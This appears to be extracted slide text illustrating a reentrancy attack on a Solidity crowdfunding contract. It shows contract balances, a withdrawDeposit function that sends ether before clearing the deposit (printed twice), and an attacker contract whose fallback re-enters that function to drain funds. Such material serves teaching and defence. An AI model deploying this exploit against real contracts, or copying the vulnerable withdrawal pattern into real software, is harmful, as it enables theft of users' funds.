

balance of  
CrowdFundingExploit

1 ♦

balance of  
CrowdFunding

7 ♦

value of  
deposit[CrowdFundingExploit]

1 ♦

```
function withdrawDeposit() public {  
    require(deposit[msg.sender] != 0);  
    msg.sender.call.value(deposit[msg.sender])();  
    deposit[msg.sender] = 0;  
}
```

```
function () public payable {  
    if(gasleft() > 100000) {  
        CrowdFunding(msg.sender).withdrawDeposit();  
    }  
}
```

```
function withdrawDeposit() public {  
    require(deposit[msg.sender] != 0);  
    msg.sender.call.value(deposit[msg.sender])();  
    deposit[msg.sender] = 0;  
}
```

```
function attack(CrowdFunding cf) public {  
    cf.withdrawDeposit();  
}
```